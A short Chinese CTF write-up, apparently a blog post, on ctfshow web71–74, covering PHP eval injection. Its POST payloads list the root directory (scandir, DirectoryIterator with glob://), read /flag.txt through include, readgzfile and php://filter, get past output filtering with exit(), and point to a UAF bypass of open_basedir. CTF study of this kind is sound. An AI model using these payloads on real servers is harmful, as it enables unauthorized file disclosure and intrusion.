CTFshow web71-?

查看根目录

基本方法:

var_dump  print_r

var_export(上面两被过滤)

var_dump(scandir("/");

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
后加exit();

 

查看文件内容

include("/flag.txt");exit();

readgzfile("/flag.txt");exit();

include "php://filter/read=convert.base64-encode/resource=/flag.txt";exit();

uaf脚本(open_basedir启用 限制用户访问其他文件)

 

 

 

 

 

web71

$c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
ob_get_contents()得到输出缓冲区的内容
Ob_end_clean()清理缓冲区
 
c=var_export(scandir("/"));exit();
 
让后边的缓存区直接退出 ;exit();
 
c=include('/flag.txt');exit();
 
 
web72
 
scandir不能访问根目录
本题设置了 open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。
因为 ini_set() 也被限制了,所以 open_basedir() 不能用 ini_set() 重新设置绕过。
 
payload:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) { echo($f->__toString().' '); } exit(0); ?> 查看根目录 glob 

之后发现include被禁用 查看不了flag0.txt
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域

这里可以发现打开了open_basedir

这里可以使用uaf脚本 绕过
web73 74


c=readgzfile("/flagx.txt");exit();


posted @ 2024-03-06 20:53  Heck1ng  阅读(27)  评论(0)    收藏  举报